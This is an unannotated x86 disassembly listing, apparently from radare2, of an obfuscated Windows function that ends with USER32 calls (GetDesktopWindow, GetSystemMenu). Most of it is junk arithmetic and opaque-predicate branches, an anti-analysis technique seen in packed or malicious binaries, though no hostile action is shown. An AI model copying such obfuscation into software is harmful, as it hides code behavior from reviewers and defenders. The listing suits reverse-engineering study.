mov dword [ebp - 0x810], 0
mov dword [ebp - 0x80c], 0
mov dword [ebp - 0x808], 0
mov dword [ebp - 0x804], 0
mov dword [ebp - 0x40c], 0xffffffff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x810]
mov dword [ebp - 0xa5c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x68], 0
jle 0x100473f5
mov dword [ebp - 0x414], 1
jmp 0x100473fc
and dword [ebp - 0x414], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 0x40c]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x68]
cmp dword [ebp - 0x414], eax
jg 0x10047430
mov dword [ebp - 0x41c], 1
jmp 0x10047437
and dword [ebp - 0x41c], 0
cmp dword [ebp - 0x41c], 0xf3cc
jg 0x1004744f
mov dword [ebp - 0x364], 1
jmp 0x10047456
and dword [ebp - 0x364], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x364]
mov dword [ebp + eax - 0x22c], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x810]
cmp dword [ebp - 0x364], eax
jne 0x10047489
mov dword [ebp - 0x424], 1
jmp 0x10047490
and dword [ebp - 0x424], 0
imul eax, dword [ebp - 0x424], 0x4709
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x810]
jle 0x100474b5
mov dword [ebp - 0x42c], 1
jmp 0x100474bc
and dword [ebp - 0x42c], 0
cmp dword [ebp - 0x42c], 1
jge 0x100474d1
mov dword [ebp - 0x434], 1
jmp 0x100474d8
and dword [ebp - 0x434], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x810]
cmp dword [ebp - 0x434], eax
jne 0x100474f9
mov dword [ebp - 0x43c], 1
jmp 0x10047500
and dword [ebp - 0x43c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
imul eax, dword [ebp - 0x43c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x68]
je 0x10047529
mov dword [ebp - 0x3b8], 1
jmp 0x10047530
and dword [ebp - 0x3b8], 0
cmp dword [ebp - 0x3b8], 0xa12a
jl 0x10047548
mov dword [ebp - 0x44c], 1
jmp 0x1004754f
and dword [ebp - 0x44c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x810]
imul eax, dword [ebp - 0x44c]
cmp eax, 0xb6d6
jl 0x10047576
mov dword [ebp - 0x454], 1
jmp 0x1004757d
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x454]
mov dword [ebp - 0xc8], eax
lea eax, [ebp - 0xc8]
push eax
push 0x6a6d
push 0x5503
push 0x75db
push 0x1c93
push 1
push 0x3d74
call fcn.10042dc8
add esp, 0x1c
jmp 0x10047371
mov dword [ebp - 0xc8], 0xf
jmp 0x100475d1
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0xffffffea
jge 0x10047765
mov dword [ebp - 0x164], 0x59baaa4f
mov dword [ebp - 0x38c], 0x5379a1d1
mov dword [ebp - 0x484], 0xc256fae
mov dword [ebp - 0x494], 0
mov byte [ebp - 0xca], 0
movzx eax, byte [ebp - 0xca]
test eax, eax
je 0x10047626
push 0x191d
push 1
call fcn.10042e4f
pop ecx
pop ecx
cmp dword [ebp - 0x164], 0
jne 0x1004763b
mov dword [ebp - 0x46c], 1
jmp 0x10047642
and dword [ebp - 0x46c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22c]
mov dword [ebp - 0xaa0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x68], 0
je 0x1004768c
mov eax, dword [ebp - 0xc8]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x22c]
je 0x1004768c
cmp dword [ebp - 0x164], 0
je 0x1004768c
mov dword [ebp - 0x45c], 1
jmp 0x10047693
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x45c], eax
jle 0x100476ad
mov dword [ebp - 0x464], 1
jmp 0x100476b4
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x38c], eax
imul eax, dword [ebp - 0x46c], 0xe074
add eax, dword [ebp - 0x38c]
jne 0x100476d9
cmp dword [ebp - 0x38c], 0
cmp dword [ebp - 0x164], 0xfffffff9
jae 0x100476ee
mov dword [ebp - 0x474], 1
jmp 0x100476f5
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x474], eax
jle 0x1004770f
mov dword [ebp - 0x47c], 1
jmp 0x10047716
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0x860c
jne 0x1004773a
mov dword [ebp - 0x48c], 1
jmp 0x10047741
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x494], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x494]
mov dword [ebp + eax - 0x22c], ecx
jmp 0x100475c4
and dword [ebp - 0x36c], 0
jmp 0x1004777b
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
mov eax, dword [ebp - 0x36c]
cmp eax, dword [ebp - 0x144]
jge 0x100477a1
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x34]
and dword [ecx + eax], 0
mov eax, dword [ebp - 0x10]
add eax, 4
mov dword [ebp - 0x10], eax
jmp 0x1004776e
push 0
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.10042f92
add esp, 0x10
mov dword [ebp - 0x11c], 0xffffffff
mov dword [ebp - 0x12c], 0x32a17d0b
mov dword [ebp - 0x4ec], 0x66c4a87f
mov dword [ebp - 0x124], 3
mov dword [ebp - 0xf0], 1
mov dword [ebp - 0x234], 0
jmp 0x10047805
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 4
jge 0x10047821
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0x974], 0
jmp 0x100477f8
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x974]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
je 0x1004789a
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
cmp dword [ebp - 0x11c], eax
je 0x10047872
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x974], 0
je 0x10047872
mov dword [ebp - 0x49c], 1
jmp 0x10047879
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffff
je 0x1004789a
mov dword [ebp - 0x4a4], 1
jmp 0x100478a1
and dword [ebp - 0x4a4], 0
imul eax, dword [ebp - 0x4a4], 0xfffa
cmp eax, 0xffff
ja 0x100478be
mov dword [ebp - 0x4ac], 1
jmp 0x100478c5
and dword [ebp - 0x4ac], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x974]
imul eax, dword [ebp - 0x4ac]
cmp eax, 0xbf90edca
jb 0x100478ec
mov dword [ebp - 0x4b4], 1
jmp 0x100478f3
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x4ec], eax
mov dword [ebp - 0x124], 1
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xffff
ja 0x1004792d
mov dword [ebp - 0x4bc], 1
jmp 0x10047934
and dword [ebp - 0x4bc], 0
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x974]
imul ecx, dword [ebp - 0x4bc]
mov eax, dword [ebp + eax - 0x974]
imul eax, ecx
mov dword [ebp - 0x4c4], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x4c4]
mov dword [ebp + eax - 0x974], ecx
cmp dword [ebp - 0x4c4], 0
je 0x10047a08
mov dword [ebp - 0x124], 0
jmp 0x10047997
cmp dword [ebp - 0x124], 3
jg 0x10047a03
mov dword [ebp - 0xf0], 3
jmp 0x100479b9
cmp dword [ebp - 0xf0], 0
jl 0x100479e1
jmp 0x10047ad6
mov dword [ebp - 0x4cc], 7
mov dword [ebp - 0x8bc], 1
mov dword [ebp - 0x8a8], 0x4c3e
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0xa64], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x974], 0
jne 0x10047a53
mov eax, 0x5e42506e
test eax, eax
jne 0x10047a53
and dword [ebp - 0x89c], 0
jmp 0x10047a5d
mov dword [ebp - 0x89c], 1
cmp dword [ebp - 0xf0], 0x54f8
jl 0x10047a75
mov dword [ebp - 0x4d4], 1
jmp 0x10047a7c
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x4cc]
mov ecx, dword [ebp - 0x8bc]
add ecx, dword [ebp - 0x4d4]
add eax, ecx
je 0x10047aa7
cmp dword [ebp - 0x8a8], 0
je 0x10047aa7
and dword [ebp - 0x4dc], 0
cmp dword [ebp - 0x4dc], 5
jle 0x10047ac3
mov dword [ebp - 0x12c], 2
jmp 0x10047aef
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x854], eax
mov eax, dword [ebp - 0x854]
mov dword [ebp - 0x85c], eax
mov eax, dword [ebp - 0x85c]
movzx eax, byte [eax]
test eax, eax
je 0x1004963c
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret